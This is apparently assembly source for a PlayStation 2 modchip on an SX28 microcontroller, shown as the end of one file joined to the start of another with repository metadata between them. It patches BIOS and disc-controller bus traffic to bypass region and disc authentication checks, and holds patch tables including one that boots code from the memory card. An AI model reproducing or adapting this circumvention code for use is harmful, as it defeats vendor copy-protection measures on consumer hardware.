mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$1b mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w mov w,#$15 ; fsr decimal 21 mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- NOTCALLED2 ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spa rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

118,535

h2oWIP/h2o-orange-F-ps1ntscconsolefix.s

;******************************************************************************** ; h2o-orange-F-ntscconsoleps1fix.hex hash e34d47d9460e37dc78bd3bedc6b87cef ;******************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal aaa45bfc43e3f1786c5fb1fa4e9815f8 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 15aca3108d239eb682f27d17cc1ed3d1 ;JAPv14 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 9b55a672a34c1d54e712ec6859f927dd ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 5f657c9de1e3a5764b6dfe4282080402 f=tr 75k pal 47ecac90bbc541b7124b1fd18357e39a ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 